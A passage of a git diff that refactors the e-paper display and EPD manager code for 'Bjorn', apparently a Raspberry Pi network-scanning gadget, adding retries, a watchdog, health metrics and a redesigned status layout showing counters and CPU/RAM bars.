self.shared_data.epd when disabled + self._check_epd_watchdog() + self._publish_display_metrics() + local_error_backoff = 1.0 - # Health logs (légers) - if self.total_updates % 100 == 0 and self.total_updates > 0: - success_rate = ((self.total_updates - self.failed_updates) / self.total_updates) * 100 - try: - fds = len(os.listdir(f"/proc/{os.getpid()}/fd")) - except Exception: - fds = -1 - # logger.info(f"Display stats: {self.total_updates} updates, {success_rate:.1f}% success " - # f"(threads={threading.active_count()}, fds={fds})") - - # Delay before next update time.sleep(self.shared_data.screen_delay) - except KeyboardInterrupt: raise - except Exception as e: - logger.error(f"Unexpected error in display loop: {e}") + except Exception as exc: + logger.error(f"Unexpected error in display loop: {exc}") logger.error(traceback.format_exc()) - time.sleep(5) - + time.sleep(local_error_backoff) + local_error_backoff = min(local_error_backoff * 2.0, 10.0) finally: self._cleanup_display() - def _execute_display_update_with_timeout(self) -> bool: - """ - Lance au plus un worker d’update. Si un précédent est encore vivant, - on ne relance pas (évite l’empilement). - """ - with self._upd_lock: - if self._upd_thread and self._upd_thread.is_alive(): - logger.warning("Previous EPD update still running; skipping this cycle") - # marquer comme potentiellement bloqué - if self._upd_stuck_since is None: - self._upd_stuck_since = time.time() - return False + def _process_epd_frame(self, image: Image.Image) -> bool: + """Single-writer EPD update callback used by DisplayUpdateController.""" + if not self.epd_enabled: + return True - # démarrer un nouveau worker - self._upd_thread = threading.Thread( - target=self._do_display_update, daemon=True, name="EPDUpdate" - ) - self._upd_thread.start() - - # Attente bornée - self._upd_thread.join(timeout=self.LOOP_ITERATION_TIMEOUT) - if self._upd_thread.is_alive(): - logger.error(f"Display update timed out after {self.LOOP_ITERATION_TIMEOUT}s") - if self._upd_stuck_since is None: - self._upd_stuck_since = time.time() - return False - - # terminé - self._upd_stuck_since = None - return True - - def _do_display_update(self): - """Perform the actual display update (single worker)""" try: - # Full refresh (si activé) AVANT rendu - if self.epd_enabled and self.fullrefresh_activated: + self._display_frame(image) + self.last_successful_update = time.time() + self.consecutive_failures = 0 + self.total_updates += 1 + return True + except Exception as first_error: + self.retry_attempts += 1 + logger.warning(f"EPD update failed, retrying once: {first_error}") + time.sleep(min(self.epd_error_backoff, 5.0)) + + try: + self._display_frame(image) + self.last_successful_update = time.time() + self.consecutive_failures = 0 + self.total_updates += 1 + return True + except Exception as second_error: + return self._handle_epd_failure(second_error) + + def _display_frame(self, image: Image.Image): + with self._epd_mode_lock: + if self.fullrefresh_activated: now = time.time() if now - self._last_full_refresh >= self.fullrefresh_delay: - try: - self.shared_data.epd.clear() - logger.info("Display cleared for full refresh (in worker)") - self._last_full_refresh = now - except Exception as e: - logger.error(f"Full refresh failed: {e}") - # On continue en essayant l’update partiel + self.shared_data.epd.clear() + self._last_full_refresh = now + self._partial_mode_ready = False + logger.info("Display full refresh completed") - if self.epd_enabled: - # Init du mode partiel - try: - self.shared_data.epd.init_partial_update() - except Exception as e: - logger.error(f"EPD init_partial_update failed: {e}") - raise + if not self._partial_mode_ready: + self.shared_data.epd.init_partial_update() + self._partial_mode_ready = True - self.display_comment(self.shared_data.bjorn_orch_status) + self.shared_data.epd.display_partial(image) + if self.shared_data.double_partial_refresh: + # Keep this behavior intentionally for ghosting mitigation. + self.shared_data.epd.display_partial(image) - image = self._render_display() + def _handle_epd_failure(self, error: Exception) -> bool: + self.failed_updates += 1 + self.consecutive_failures += 1 + logger.error(f"EPD update failed after retry: {error}") - if self.screen_reversed: - image = image.transpose(Image.ROTATE_180) + reinit_ok = self._safe_reinit_epd() + if reinit_ok: + logger.warning("EPD reinitialized after update failure") + return False - image = self._pad_for_v2(image) + if self.consecutive_failures >= self.MAX_CONSECUTIVE_FAILURES: + self._enter_headless_mode("too many consecutive EPD failures") - if self.epd_enabled: - try: - self.shared_data.epd.display_partial(image) - if self.shared_data.double_partial_refresh: - self.shared_data.epd.display_partial(image) - except Exception as e: - logger.error(f"EPD display_partial failed: {e}") - raise + return False - # Toujours sauver le screenshot (web) - self._save_screenshot(image) + def _safe_reinit_epd(self) -> bool: + now = time.time() + if (now - self.last_recovery_attempt) < self.RECOVERY_COOLDOWN: + remaining = self.RECOVERY_COOLDOWN - (now - self.last_recovery_attempt) + logger.warning_throttled( + f"EPD recovery cooldown active ({remaining:.1f}s remaining)", + key="display_epd_recovery_cooldown", + interval_s=10.0, + ) + return False - # logger.debug("Display update completed successfully") + with self._recovery_lock: + now = time.time() + if (now - self.last_recovery_attempt) < self.RECOVERY_COOLDOWN: + return False - except Exception as e: - logger.error(f"Error in display update: {e}") - logger.error(traceback.format_exc()) - # laisser l’exception remonter pour le comptage des échecs - raise + self.last_recovery_attempt = now + self.reinit_attempts += 1 + self._recovery_in_progress = True - def _attempt_recovery(self): - """Attempt to recover from display failures""" - current_time = time.time() + try: + self.shared_data.epd.hard_reset() + self.shared_data.epd.init_full_update() + self._partial_mode_ready = False + self.consecutive_failures = 0 + return True + except Exception as recovery_error: + logger.error(f"EPD reinit failed: {recovery_error}") + return False + finally: + self._recovery_in_progress = False - # Enforce cooldown between recovery attempts - if current_time - self.last_recovery_attempt < self.RECOVERY_COOLDOWN: - time_remaining = self.RECOVERY_COOLDOWN - (current_time - self.last_recovery_attempt) - logger.warning(f"Recovery cooldown active ({time_remaining:.1f}s remaining)") + def _enter_headless_mode(self, reason: str): + if not self.epd_enabled: + return + self.epd_enabled = False + self.headless_reason = reason + logger.critical(f"EPD disabled (headless mode): {reason}") + + def _check_epd_watchdog(self): + if not self.epd_enabled: return - self.last_recovery_attempt = current_time - logger.warning("=== Attempting display recovery ===") + metrics = self.display_controller.get_metrics() + busy_for_s = float(metrics.get("busy_for_s") or 0.0) + if busy_for_s <= self.epd_watchdog_timeout: + return + self.watchdog_stuck_count += 1 + logger.error_throttled( + f"EPD watchdog: update busy for {busy_for_s:.1f}s (threshold={self.epd_watchdog_timeout}s)", + key="display_epd_watchdog", + interval_s=10.0, + ) + self._attempt_watchdog_recovery() + + def _attempt_watchdog_recovery(self): + now = time.time() + if (now - self.last_recovery_attempt) < self.RECOVERY_COOLDOWN: + return + + if self._recovery_in_progress: + return + + self.last_recovery_attempt = now + self._recovery_in_progress = True + + def _recover(): + try: + # [infinition] Force reset to break any deadlocks if the main thread is stuck + logger.warning("[infinition] EPD Watchdog: Freeze detected. Initiating FORCED RESET to break potential deadlocks.") + self.shared_data.epd.hard_reset(force=True) + self.shared_data.epd.init_full_update() + self._partial_mode_ready = False + self.consecutive_failures = 0 + logger.warning("EPD watchdog recovery completed") + except Exception as exc: + logger.error(f"EPD watchdog recovery failed: {exc}") + self._enter_headless_mode("watchdog recovery failed") + finally: + self._recovery_in_progress = False + + recovery_thread = threading.Thread(target=_recover, daemon=True, name="EPDWatchdogRecovery") + recovery_thread.start() + recovery_thread.join(timeout=10.0) + if recovery_thread.is_alive(): + self._recovery_in_progress = False + self._enter_headless_mode("watchdog recovery timed out") + + def _publish_display_metrics(self): + controller_metrics = self.display_controller.get_metrics() + epd_manager_metrics = {} try: - if self.epd_enabled: - # Try hard reset with timeout - logger.info("Performing EPD hard reset...") - reset_thread = threading.Thread( - target=self.shared_data.epd.hard_reset, - daemon=True - ) - reset_thread.start() - reset_thread.join(timeout=15.0) + if hasattr(self.shared_data, "epd") and hasattr(self.shared_data.epd, "check_health"): + epd_manager_metrics = self.shared_data.epd.check_health() + except Exception as exc: + epd_manager_metrics = {"error": str(exc)} - if reset_thread.is_alive(): - logger.error("Hard reset timed out - recovery failed") - else: - logger.info("Hard reset completed") - self.consecutive_failures = 0 - time.sleep(2) # Let hardware stabilize - else: - # Si EPD désactivé, tenter une réactivation soft - try: - self.shared_data.epd.init_full_update() - self.epd_enabled = True - logger.info("EPD re-enabled after recovery attempt") - self.consecutive_failures = 0 - except Exception as e: - logger.error(f"Re-enable EPD failed: {e}") - - except Exception as e: - logger.error(f"Recovery failed: {e}") - logger.error(traceback.format_exc()) + metrics = { + "epd_enabled": int(bool(self.epd_enabled)), + "headless": int(not bool(self.epd_enabled)), + "headless_reason": self.headless_reason, + "total_updates": int(self.total_updates), + "failed_updates": int(self.failed_updates), + "consecutive_failures": int(self.consecutive_failures), + "retry_attempts": int(self.retry_attempts), + "reinit_attempts": int(self.reinit_attempts), + "watchdog_stuck_count": int(self.watchdog_stuck_count), + "last_success_epoch": float(self.last_successful_update), + "controller": controller_metrics, + "epd_manager": epd_manager_metrics, + } + with self.shared_data.health_lock: + self.shared_data.display_runtime_metrics = metrics def _render_display(self) -> Image.Image: """Render complete display image""" + self.bjorn_name = getattr(self.shared_data, "bjorn_name", self.bjorn_name) + if self.bjorn_name != self.previous_bjorn_name: + self.calculate_font_to_fit() + self.previous_bjorn_name = self.bjorn_name + image = Image.new('1', (self.shared_data.width, self.shared_data.height), 255) - draw = ImageDraw.Draw(image) + try: + draw = ImageDraw.Draw(image) - draw.text((self.px(37), self.py(5)), self.bjorn_name, font=self.font_to_use, fill=0) - draw.text((self.px(105), self.py(171)), self.manual_mode_txt, font=self.shared_data.font_arial14, fill=0) + draw.text((self.px(37), self.py(5)), self.bjorn_name, font=self.font_to_use, fill=0) - self._draw_connection_icons(image) - self._draw_battery_status(image) - self._draw_statistics(image, draw) + self._draw_connection_icons(image) + self._draw_battery_status(image) + self._draw_statistics(image, draw) + self._draw_system_histogram(image, draw) - self.shared_data.update_bjorn_status() - image.paste(self.shared_data.bjorn_status_image, (self.px(3), self.py(60))) + status_img = self.shared_data.bjorn_status_image or self.shared_data.attack + if status_img is not None: + image.paste(status_img, (self.px(3), self.py(52))) - self._draw_status_text(draw) - self._draw_decorations(image, draw) - self._draw_comment_text(draw) + self._draw_status_text(draw) + self._draw_decorations(image, draw) + self._draw_comment_text(draw) - if hasattr(self, "main_image") and self.main_image is not None: - self.shared_data.bjorn_character = self.main_image - image.paste(self.main_image, (self.shared_data.x_center1, self.shared_data.y_bottom1 - 1)) + main_img = getattr(self.shared_data, "bjorn_character", None) + if main_img is not None: + image.paste(main_img, (self.shared_data.x_center1, self.shared_data.y_bottom1)) - return image + return image + except Exception: + if image: + image.close() + raise def _draw_connection_icons(self, image: Image.Image): wifi_width = self.px(16) @@ -720,58 +682,306 @@ class Display: image.paste(icon, battery_pos) break + def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw): + # Vertical bars at the bottom-left + # Screen W: 122, Character W: 78 -> Character X: 22 + # Available Left: 0-21. + # Margins: Left 2px (0,1), Right 1px (21) + # RAM: x=2-10 (9px) + # Gap: 11 (1px) + # CPU: x=12-20 (9px) + + # Bottom of screen is 249. User requested 1px up -> 248. + # Font 9 height approx 9-10px. + # Label now has NO box and 1px gap. + # Label Y: 248 - 9 (height) = 239. + # Gap: 1px -> 238 empty. + # Bar Base Y: 237. + + label_h = self.py(9) # Approx height for font 9 + label_y = self.py(239) + base_y = self.py(237) # 1px gap above label + max_h = self.py(33) # Remaining height (237 - 204 = 33) + + # RAM + ram_pct = max(0, min(100, self.shared_data.system_mem)) + ram_h = int((ram_pct / 100.0) * max_h) + # Bar background (x=2 to x=10 inclusive) + draw.rectangle([self.px(2), base_y - max_h, self.px(10), base_y], outline=0) + # Fill + draw.rectangle([self.px(2), base_y - ram_h, self.px(10), base_y], fill=0) + + # Label 'M' - No Box, just text + draw.text((self.px(3), label_y), "M", font=self.shared_data.font_arial9, fill=0) + + # CPU + cpu_pct = max(0, min(100, self.shared_data.system_cpu)) + cpu_h = int((cpu_pct / 100.0) * max_h) + # Bar background (x=12 to x=20 inclusive) + draw.rectangle([self.px(12), base_y - max_h, self.px(20), base_y], outline=0) + # Fill + draw.rectangle([self.px(12), base_y - cpu_h, self.px(20), base_y], fill=0) + + # Label 'C' - No Box + draw.text((self.px(13), label_y), "C", font=self.shared_data.font_arial9, fill=0) + + def _format_count(self, val): + try: + v = int(val) + if v >= 1000: + return f"{v/1000:.1f}K".replace(".0K", "K") + return str(v) + except: + return str(val) + def _draw_statistics(self, image: Image.Image, draw: ImageDraw.Draw): stats = [ - (self.shared_data.target, (self.px(8), self.py(22)), - (self.px(28), self.py(22)), str(self.shared_data.target_count)), - (self.shared_data.port, (self.px(47), self.py(22)), - (self.px(67), self.py(22)), str(self.shared_data.port_count)), - (self.shared_data.vuln, (self.px(86), self.py(22)), - (self.px(106), self.py(22)), str(self.shared_data.vuln_count)), - (self.shared_data.cred, (self.px(8), self.py(41)), - (self.px(28), self.py(41)), str(self.shared_data.cred_count)), - (self.shared_data.money, (self.px(3), self.py(172)), - (self.px(3), self.py(192)), str(self.shared_data.coin_count)), - (self.shared_data.level, (self.px(2), self.py(217)), - (self.px(4), self.py(237)), str(self.shared_data.level_count)), - (self.shared_data.zombie, (self.px(47), self.py(41)), - (self.px(67), self.py(41)), str(self.shared_data.zombie_count)), - (self.shared_data.networkkb, (self.px(102), self.py(190)), - (self.px(102), self.py(208)), str(self.shared_data.network_kb_count)), - (self.shared_data.data, (self.px(86), self.py(41)), - (self.px(106), self.py(41)), str(self.shared_data.data_count)), - (self.shared_data.attacks, (self.px(100), self.py(218)), - (self.px(102), self.py(237)), str(self.shared_data.attacks_count)), + # Row 1 (Icons at y=22, Text at y=39) + # Target + (self.shared_data.target, (self.px(2), self.py(22)), + (self.px(2), self.py(39)), self._format_count(self.shared_data.target_count)), + # Port + (self.shared_data.port, (self.px(22), self.py(22)), + (self.px(22), self.py(39)), self._format_count(self.shared_data.port_count)), + # Vuln + (self.shared_data.vuln, (self.px(42), self.py(22)), + (self.px(42), self.py(39)), self._format_count(self.shared_data.vuln_count)), + # Cred + (self.shared_data.cred, (self.px(62), self.py(22)), + (self.px(62), self.py(39)), self._format_count(self.shared_data.cred_count)), + # Zombie + (self.shared_data.zombie, (self.px(82), self.py(22)), + (self.px(82), self.py(39)), self._format_count(self.shared_data.zombie_count)), + # Data + (self.shared_data.data, (self.px(102), self.py(22)), + (self.px(102), self.py(39)), self._format_count(self.shared_data.data_count)), + + # LVL Widget (Top-Left of bottom frame) + # Frame Line at y=170. Gap 1px -> Start y=172. Left Gap 1px -> Start x=2. + # Small Square for Value. + # I'll use a 18x18 box. + + # --- Network KB / Attacks WIDGET (Right)--- + # Moved to dedicated drawing logic below for box alignment ] for img, img_pos, text_pos, text in stats: if img is not None: image.paste(img, img_pos) - draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0) + # Dynamic centering + try: + # Center text relative to image center + center_x = img_pos[0] + (img.width // 2) + text_w = draw.textlength(text, font=self.shared_data.font_arial9) + new_x = int(center_x - (text_w / 2)) + draw.text((new_x, text_pos[1]), text, font=self.shared_data.font_arial9, fill=0) + except Exception: + # Fallback + draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0) + else: + draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0) + + # Draw LVL Box manually to ensure perfect positioning + # Box: x=2, y=172. + # User requested "LVL" above value -> Rectangle. + # Height increased to fit both (approx 26px). + lvl_x = self.px(2) + lvl_y = self.py(172) + lvl_w = self.px(18) + lvl_h = self.py(26) + + draw.rectangle([lvl_x, lvl_y, lvl_x + lvl_w, lvl_y + lvl_h], outline=0) + + # 1. "LVL" Label at top - centered + label_txt = "LVL" + # Font 7 + label_font = self.shared_data.font_arial7 + l_bbox = label_font.getbbox(label_txt) + l_w = l_bbox[2] - l_bbox[0] + l_x = lvl_x + (lvl_w - l_w) // 2 + l_y = lvl_y + 1 # Top padding + draw.text((l_x, l_y), label_txt, font=label_font, fill=0) + + # 2. Value below label - centered + lvl_val = str(self.shared_data.level_count) + val_font = self.shared_data.font_arial9 + v_bbox = val_font.getbbox(lvl_val) + v_w = v_bbox[2] - v_bbox[0] + v_x = lvl_x + (lvl_w - v_w) // 2 + # Position below label (approx y+10) + v_y = lvl_y + 10 + draw.text((v_x, v_y), lvl_val, font=val_font, fill=0) + + # --- Right Side Widgets (Integrated with Frame) --- + # Existing Frame: Top line at y=170. Right edge at x=121. Bottom at y=249. + # We only need to draw the Left Vertical separator and Internal Horizontal separators. + + # Column: x=101 to x=121 (Width 20px). + # Height: y=170 to y=249 (Total 79px). + + col_x_start = self.px(101) + col_x_end = self.px(121) # Implicit right edge, useful for centering + col_w = self.px(20) + + y_top = self.py(170) + y_bottom = self.py(249) + + # 1. Draw Left Vertical Divider + draw.line([col_x_start, y_top, col_x_start, y_bottom], fill=0) + + # Section Heights + # A/M: Small top section. 15px high. + h_am = self.px(15) + # Remaining: 79 - 15 = 64px. Split evenly: 32px each. + h_net = self.px(32) + h_att = self.py(32) + + # Separator Y positions + y_sep1 = y_top + h_am + y_sep2 = y_sep1 + h_net + + # Draw Horizontal Separators (inside the column) + draw.line([col_x_start, y_sep1, col_x_end, y_sep1], fill=0) + draw.line([col_x_start, y_sep2, col_x_end, y_sep2], fill=0) + + # --- Section 1: A/M (Top) --- + # Center A/M text in y_top to y_sep1 + # --- Section 1: A/M/AI (Top) --- + mode_str = self.shared_data.operation_mode + # Map to display text: MANUAL -> M, AUTO -> A, AI -> AI + if mode_str == "MANUAL": + mode_txt = "M" + elif mode_str == "AI": + mode_txt = "AI" + else: + mode_txt = "A" + + # Use slightly smaller font for "AI" if needed, or keep same + mode_font = self.shared_data.font_arial11 + m_bbox = mode_font.getbbox(mode_txt) + + m_w = m_bbox[2] - m_bbox[0] # Largeur visuelle exacte + m_h = m_bbox[3] - m_bbox[1] # Hauteur visuelle exacte + + # MODIFICATION ICI (Horizontal) : + m_x = col_x_start + (col_w - m_w) // 2 - m_bbox[0] + + # MODIFICATION ICI (Vertical) : + m_y = y_top + (h_am - m_h) // 2 - m_bbox[1] + + draw.text((m_x, m_y), mode_txt, font=mode_font, fill=0) + + # --- Section 2: Network KB (Middle) --- + # Center in y_sep1 to y_sep2 (32px high) + net_y_start = y_sep1 + + # Icon + if self.shared_data.networkkb: + icon = self.shared_data.networkkb + ix = col_x_start + (col_w - icon.width) // 2 + # Center icon somewhat? Or fixed top padding? + # 32px height. Icon ~15px. Text ~7px. Total content ~23px. + # Margin = (32 - 23) / 2 = ~4px. + iy = net_y_start + 3 + image.paste(icon, (ix, iy)) + text_y_start = iy + icon.height + else: + text_y_start = net_y_start + 9 + + # Value + net_val = self._format_count(self.shared_data.network_kb_count) + n_font = self.shared_data.font_arial10 + n_bbox = n_font.getbbox(net_val) + n_w = n_bbox[2] - n_bbox[0] + nx = col_x_start + (col_w - n_w) // 2 + draw.text((nx, text_y_start), net_val, font=n_font, fill=0) + + # --- Section 3: Attacks (Bottom) --- + # Center in y_sep2 to y_bottom (32px high) + att_y_start = y_sep2 + + # Icon + if self.shared_data.attacks: + icon = self.shared_data.attacks + ix = col_x_start + (col_w - icon.width) // 2 + iy = att_y_start + 3 # Same padding as above + image.paste(icon, (ix, iy)) + text_y_start = iy + icon.height + else: + text_y_start = att_y_start + 9 + + # Value + att_val = self._format_count(self.shared_data.attacks_count) + a_bbox = n_font.getbbox(att_val) + a_w = a_bbox[2] - a_bbox[0] + ax = col_x_start + (col_w - a_w) // 2 + draw.text((ax, text_y_start), att_val, font=n_font, fill=0) + def _draw_status_text(self, draw: ImageDraw.Draw): - if self.show_ip_on_screen: - draw.text((self.px(35), self.py(60)), self.current_ip, + # Determine progress value (0-100) + try: + progress_str = self.shared_data.bjorn_progress.replace("%", "").strip() + progress_val = int(progress_str) + except: + progress_val = 0 + + # Draw Progress Bar (y=75-80) - Moved up & narrower to fit text + bar_x = self.px(35) + bar_y = self.py(75) + bar_w = self.px(55) # Reduced to 55px to fit text "100%" + bar_h = self.py(5) + + if progress_val > 0: + # Standard Progress Bar + draw.rectangle([bar_x, bar_y, bar_x + bar_w, bar_y + bar_h], outline=0) + fill_w = int((progress_val / 100.0) * bar_w) + if fill_w > 0: + draw.rectangle([bar_x, bar_y, bar_x + fill_w, bar_y + bar_h], fill=0) + + # Draw Percentage Text at the end + # x = bar_x + bar_w + 3 + # y = centered with bar (bar y=75, h=5 -> center 77.5) + # Font 9 height ~9-10px. y_text ~ 73 ? + text_x = bar_x + bar_w + self.px(4) + text_y = bar_y - 2 # Align visually with bar + draw.text((text_x, text_y), f"{progress_val}%", font=self.shared_data.font_arial9, fill=0) + + current_ip = getattr(self.shared_data, "current_ip", "No IP") + action_target_ip = str(getattr(self.shared_data, "action_target_ip", "") or "").strip() + orch_status = str(getattr(self.shared_data, "bjorn_orch_status", "IDLE") or "IDLE").upper() + show_ip = bool(getattr(self.shared_data, "showiponscreen", False)) + if show_ip: + # Show local IP only while idle; during actions show target IP when available. + if orch_status == "IDLE": + ip_to_show = current_ip + else: + ip_to_show = action_target_ip or current_ip + + draw.text((self.px(35), self.py(52)), ip_to_show, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(69)), self.shared_data.bjorn_status_text, + draw.text((self.px(35), self.py(61)), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(78)), self.shared_data.bjorn_status_text2, - font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(102), self.py(78)), self.shared_data.bjorn_progress, - font=self.shared_data.font_arial9, fill=0) - draw.line((1, self.py(89), self.shared_data.width - 1, self.py(89)), fill=0) + # Line at y=85 (moved up 3px) + draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) else: - draw.text((self.px(35), self.py(65)), self.shared_data.bjorn_status_text, + draw.text((self.px(35), self.py(55)), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(75)), self.shared_data.bjorn_status_text2, + draw.text((self.px(35), self.py(66)), self.shared_data.bjorn_status_text2, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(102), self.py(75)), self.shared_data.bjorn_progress, - font=self.shared_data.font_arial9, fill=0) - draw.line((1, self.py(87), self.shared_data.width - 1, self.py(87)), fill=0) + # Line at y=85 (moved up 3px) + draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) def _draw_decorations(self, image: Image.Image, draw: ImageDraw.Draw): - if self.show_ssid_on_screen: - draw.text((self.px(3), self.py(160)), self.ssid, + show_ssid = bool(getattr(self.shared_data, "showssidonscreen", False)) + if show_ssid: + # Center SSID + ssid = getattr(self.shared_data, "current_ssid", "No Wi-Fi") + ssid_w = draw.textlength(ssid, font=self.shared_data.font_arial9) + center_x = self.shared_data.width // 2 + ssid_x = int(center_x - (ssid_w / 2)) + + draw.text((ssid_x, self.py(160)), ssid, font=self.shared_data.font_arial9, fill=0) draw.line((0, self.py(170), self.shared_data.width, self.py(170)), fill=0) else: @@ -781,64 +991,99 @@ class Display: draw.rectangle((0, 0, self.shared_data.width - 1, self.shared_data.height - 1), outline=0) draw.line((0, self.py(20), self.shared_data.width, self.py(20)), fill=0) - draw.line((0, self.py(59), self.shared_data.width, self.py(59)), fill=0) + draw.line((0, self.py(51), self.shared_data.width, self.py(51)), fill=0) def _draw_comment_text(self, draw: ImageDraw.Draw): - # Cache key for the layout - key = (self.shared_data.bjorn_says, self.shared_data.width, id(self.shared_data.font_arialbold)) - now = time.time() - if ( - self._comment_layout_cache["key"] != key or - (now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval - ): - lines = self.shared_data.wrap_text( - self.shared_data.bjorn_says, - self.shared_data.font_arialbold, - self.shared_data.width - 4 - ) - self._comment_layout_cache = {"key": key, "lines": lines, "ts": now} - else: - lines = self._comment_layout_cache["lines"] + # Cache key for the layout + key = (self.shared_data.bjorn_says, self.shared_data.width, id(self.shared_data.font_arialbold)) + now = time.time() + if ( + self._comment_layout_cache["key"] != key or + (now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval + ): + # J'ai aussi augmenté la largeur disponible (width - 2) puisque l'on se colle au bord + lines = self.shared_data.wrap_text( + self.shared_data.bjorn_says, + self.shared_data.font_arialbold, + self.shared_data.width - 2 + ) + self._comment_layout_cache = {"key": key, "lines": lines, "ts": now} + else: + lines = self._comment_layout_cache["lines"] - y_text = self.py(92) - font = self.shared_data.font_arialbold - bbox = font.getbbox('Aj') - font_height = (bbox[3] - bbox[1]) if bbox else font.size + # MODIFICATION ICI : + # La ligne du dessus est à self.py(85). On veut 1px d'écart, donc 85 + 1 = 86. + y_text = self.py(86) + + font = self.shared_data.font_arialbold + bbox = font.getbbox('Aj') + font_height = (bbox[3] - bbox[1]) if bbox else font.size - for line in lines: - draw.text((self.px(4), y_text), line, - font=font, fill=0) - y_text += font_height + self.shared_data.line_spacing + for line in lines: + # MODIFICATION ICI : self.px(1) au lieu de self.px(4) + draw.text((self.px(1), y_text), line, + font=font, fill=0) + y_text += font_height + self.shared_data.line_spacing def _save_screenshot(self, image: Image.Image): - try: - out_img = image - if self.web_screen_reversed: - out_img = out_img.transpose(Image.ROTATE_180) + # 1. Throttling : Only capture every 4 seconds to save CPU/IO + now = time.time() + if not hasattr(self, "_last_screenshot_time"): + self._last_screenshot_time = 0 - screenshot_path = os.path.join(self.shared_data.web_dir, "screen.png") - with open(screenshot_path, 'wb') as img_file: - out_img.save(img_file) - img_file.flush() - os.fsync(img_file.fileno()) + if now - self._last_screenshot_time < self._screenshot_interval_s: + return + self._last_screenshot_time = now - except Exception as e: - logger.error(f"Error saving screenshot: {e}") + rotated = None + try: + out_img = image + if self.web_screen_reversed: + rotated = out_img.transpose(Image.ROTATE_180) + out_img = rotated + + screenshot_path = os.path.join(self.shared_data.web_dir, "screen.png") + tmp_path = f"{screenshot_path}.tmp" + + # 2. Optimization : compress_level=1 (much faster on CPU) + out_img.save(tmp_path, format="PNG", compress_level=1) + os.replace(tmp_path, screenshot_path) + + except Exception as e: + logger.error(f"Error saving screenshot: {e}") + finally: + if rotated is not None: + try: + rotated.close() + except Exception: + pass def _cleanup_display(self): + worker_stopped = True try: - if self.epd_enabled: + worker_stopped = self.display_controller.stop(timeout=2.0) + if not worker_stopped: + logger.warning("EPD worker still alive during shutdown; skipping blocking EPD cleanup") + except Exception as exc: + worker_stopped = False + logger.warning(f"Display controller stop failed during cleanup: {exc}") + + try: + if self.epd_enabled and worker_stopped: self.shared_data.epd.init_full_update() blank_image = Image.new('1', (self.shared_data.width, self.shared_data.height), 255) blank_image = self._pad_for_v2(blank_image) self.shared_data.epd.display_partial(blank_image) if self.shared_data.double_partial_refresh: self.shared_data.epd.display_partial(blank_image) + blank_image.close() logger.info("EPD display cleared and device exited") try: self.shared_data.epd.sleep() except Exception: pass + elif self.epd_enabled and not worker_stopped: + logger.warning("EPD cleanup skipped because worker did not stop in time") else: logger.info("Display thread exited (EPD was disabled)") except Exception as e: @@ -859,5 +1104,3 @@ def handle_exit_display(signum, frame, display_thread=None): logger.info("Display thread finished cleanly.") except Exception as e: logger.error(f"Error while closing the display: {e}") - - sys.exit(0) \ No newline at end of file diff --git a/epd_manager.py b/epd_manager.py index cd4c2c1..e78f984 100644 --- a/epd_manager.py +++ b/epd_manager.py @@ -1,436 +1,259 @@ -""" -EPD Manager - Singleton manager for e-Paper display -FIXED VERSION: Added operation timeouts, better error recovery, thread safety +""" +EPD Manager - singleton wrapper around Waveshare drivers. +Hardened for runtime stability: +- no per-operation worker-thread timeouts (prevents leaked stuck SPI threads) +- serialized SPI access +- bounded retry + recovery +- health metrics for monitoring """ -import threading import importlib -import logging +import threading import time from PIL import Image + from logger import Logger -logger = Logger(name="epd_manager.py", level=logging.DEBUG) +logger = Logger(name="epd_manager.py") -# ============================================================================ -# DEBUG CONFIGURATION -# ============================================================================ -DEBUG_MANAGER = False # Set to True to enable EPD Manager debugging +DEBUG_MANAGER = False -def debug_log(message, level='debug'): - """Conditional debug logging for manager""" - if DEBUG_MANAGER: - if level == 'info': - logger.info(f"[EPD_MANAGER] {message}") - elif level == 'warning': - logger.warning(f"[EPD_MANAGER] {message}") - elif level == 'error': - logger.error(f"[EPD_MANAGER] {message}") - else: - logger.debug(f"[EPD_MANAGER] {message}") +def debug_log(message, level="debug"): + if not DEBUG_MANAGER: + return + if level == "info": + logger.info(f"[EPD_MANAGER] {message}") + elif level == "warning": + logger.warning(f"[EPD_MANAGER] {message}") + elif level == "error": + logger.error(f"[EPD_MANAGER] {message}") + else: + logger.debug(f"[EPD_MANAGER] {message}") class EPDManager: - """ - Singleton EPD Manager with robust timeout handling and error recovery - """ _instance = None - _lock = threading.Lock() # Global lock for all SPI access - - # Error handling configuration + _instance_lock = threading.Lock() + _spi_lock = threading.RLock() + MAX_CONSECUTIVE_ERRORS = 3 - RESET_COOLDOWN = 5.0 # seconds between hard resets - OPERATION_TIMEOUT = 15.0 # CRITICAL: max seconds for any EPD operation - INIT_TIMEOUT = 20.0 # Longer timeout for initialization - + RESET_COOLDOWN = 5.0 + def __new__(cls, epd_type: str): - if cls._instance is None: - debug_log("Creating new EPDManager instance", 'info') - cls._instance = super().__new__(cls) - cls._instance._init_driver(epd_type) - else: - debug_log("Returning existing EPDManager instance", 'info') + with cls._instance_lock: + if cls._instance is None: + cls._instance = super().__new__(cls) + cls._instance._initialized = False return cls._instance - def _init_driver(self, epd_type: str): - """Initialize EPD driver""" - debug_log(f"Initializing driver: {epd_type}", 'info') - + def __init__(self, epd_type: str): + if self._initialized: + if epd_type != self.epd_type: + logger.warning( + f"EPDManager already initialized with {self.epd_type}, " + f"ignoring requested type {epd_type}" + ) + return + self.epd_type = epd_type + self.epd = None self.last_reset = time.time() self.error_count = 0 - self.last_error_time = 0 - self.operation_start_time = 0 + self.last_error_time = 0.0 self.total_operations = 0 self.successful_operations = 0 + self.last_operation_duration = 0.0 + self.total_operation_duration = 0.0 self.timeout_count = 0 - - try: - epd_module_name = f"resources.waveshare_epd.{self.epd_type}" - epd_module = importlib.import_module(epd_module_name) - self.epd = epd_module.EPD() - debug_log(f"EPD driver {self.epd_type} loaded successfully", 'info') - except Exception as e: - logger.error(f"Failed to load EPD driver {self.epd_type}: {e}") - raise + self.recovery_attempts = 0 + 